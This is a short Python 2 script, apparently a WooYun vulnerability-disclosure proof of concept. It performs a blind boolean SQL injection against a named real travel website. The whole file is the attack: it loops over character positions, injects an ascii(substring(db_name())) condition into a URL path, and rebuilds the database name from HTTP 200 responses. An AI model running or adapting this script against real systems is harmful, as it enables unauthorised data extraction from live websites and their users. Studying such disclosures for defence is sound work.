WooYun.org

#encoding=utf-8
import httplib
import time
import sys
import urllib
"""
This is the block of docstring.
"""
charset = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.[]')
headers = {
    'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
}
print '[%s] Start to retrive database: ' % time.strftime('%H:%M:%S', time.localtime())
db = ''
for i in range(1, 8):
    for char in charset:
        con = httplib.HTTPConnection('www.17u.com', 80, timeout=50)
        payload = "' and ascii(substring(db_name(),%s,1))=%s and '1'='1" % (i, ord(char))
        con.request(method='GET', url='/destination/city_lvyou_4602' + urllib.quote(payload) + '.html', headers=headers)
	    
        code = con.getresponse().status
        con.close()
        
        if code == 200:
		    db += char
		    sys.stdout.write('\n[Retriving database] ' + db)
		    sys.stdout.flush()
		    break
        else:
            pass
print '\n[%s Done] Database is %s' % (time.strftime('%H:%M:%S', time.localtime()), db)